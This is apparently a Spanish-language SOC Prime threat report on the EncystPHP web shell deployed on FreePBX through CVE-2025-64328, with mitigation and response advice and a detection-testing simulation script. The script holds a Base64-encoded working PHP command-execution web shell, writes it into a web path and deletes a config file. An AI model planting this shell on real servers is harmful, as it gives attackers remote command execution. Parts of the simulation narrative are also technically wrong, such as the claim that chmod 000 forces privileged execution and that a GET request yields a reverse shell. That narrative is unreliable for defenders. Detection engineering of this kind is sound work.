SOC Prime Bias: Crítico

03 Feb 2026 16:33 UTC

EncystPHP: Web Shell de FreePBX Arma para Compromiso Persistente de Administrador

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
EncystPHP: Web Shell de FreePBX Arma para Compromiso Persistente de Administrador
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

FortiGuard Labs informa sobre un web shell PHP apodado EncystPHP desplegado en instancias expuestas de FreePBX mediante la explotación de CVE-2025-64328. El implante permite la ejecución remota de comandos, provisiona usuarios privilegiados y establece persistencia en capas a través de trabajos cron y cargadores de seguimiento. La actividad está vinculada al grupo INJ3CTOR3 y parece estar dirigida a entornos de telecomunicaciones. Los indicadores publicados incluyen IPs maliciosas, dominios, URLs y múltiples rutas de archivos hostiles.

Investigación

Los investigadores rastrearon el acceso inicial a una vulnerabilidad de inyección de comandos post-autenticación en FreePBX Endpoint Manager. Tras una explotación exitosa, el operador descarga un dropper desde 45.234.176.202, relaja los permisos en componentes clave de PHP, extrae credenciales de la base de datos, crea una cuenta a nivel de root y añade una clave SSH controlada por el atacante. La persistencia se refuerza con entradas cron que recuperan repetidamente droppers adicionales y actualizan artefactos. EncystPHP también se hace pasar por archivos legítimos de FreePBX y manipula marcas de tiempo para reducir la visibilidad durante el triaje rutinario.

Mitigación

Parché FreePBX Endpoint Manager para abordar CVE-2025-64328 (y cualquier corrección relacionada) tan pronto como sea posible. Busca archivos de web shell no autorizados, cronogramas de cron sospechosos y nuevos usuarios locales privilegiados creados. Bloquea HTTP saliente hacia infraestructuras maliciosas conocidas y aplica permisos estrictos, de menor privilegio, en directorios de cara al público y activos PHP.

Respuesta

Al detectar, aisla el servidor PBX afectado, elimina los artefactos de EncystPHP, purga los trabajos cron no autorizados y restablece las cuentas locales y las claves SSH. Revisa logs y copias de seguridad de configuración para determinar cambios, luego aplica actualizaciones de seguridad actuales y fortalece la interfaz web. Valida que no quedan droppers secundarios o mecanismos de persistencia antes de restaurar las operaciones normales de telefonía.

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Subir el web shell EncystPHP – El atacante elabora una carga útil PHP codificada en Base64 y la entrega a través de un HTTP POST a la interfaz web de FreePBX, causando que el archivo ajax.php se escriba en /var/www/html/admin/views/ajax.php.
    2. Establecer permisos restrictivos – Inmediatamente después del despliegue, el atacante ejecuta chmod 000 ajax.php para ocultar el shell de usuarios normales y forzar su ejecución bajo la cuenta privilegiada del servidor web (T1222.002).
    3. Eliminar configuración crítica – Para deteriorar la detección y forzar al sistema a recargar con el shell malicioso, el atacante elimina /etc/freepbx.conf (T1070.004, T1562.001).
    4. Activar el shell – Un simple HTTP GET al recién creado ajax.php ejecuta la carga útil, estableciendo un shell reverso (T1105, T1059.004).
  • Guion de Prueba de Regresión: El guion reproduce los pasos 1‑3 en un directorio de prueba controlado (/tmp/freepbx_test) para evitar afectar un sistema de producción.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Configurar directorios de prueba (reflejando la disposición de FreePBX) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Crear archivo de configuración ficticio (que será eliminado) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Payload de EncystPHP codificado en Base64 (stub muy pequeño) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Paso 1: Desplegar web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell desplegado en ${WEB_ROOT}/ajax.php"
    
    # ----- Paso 2: Permisos restrictivos (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permisos establecidos en 000"
    
    # ----- Paso 3: Eliminar archivo de configuración crítico -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Eliminado ${CONFIG_FILE}"
    
    # ----- Opcional: activar el shell (simulado) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulación completa. Verifica SIEM para alertas."
  • Comandos de Limpieza:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Entorno de prueba limpiado."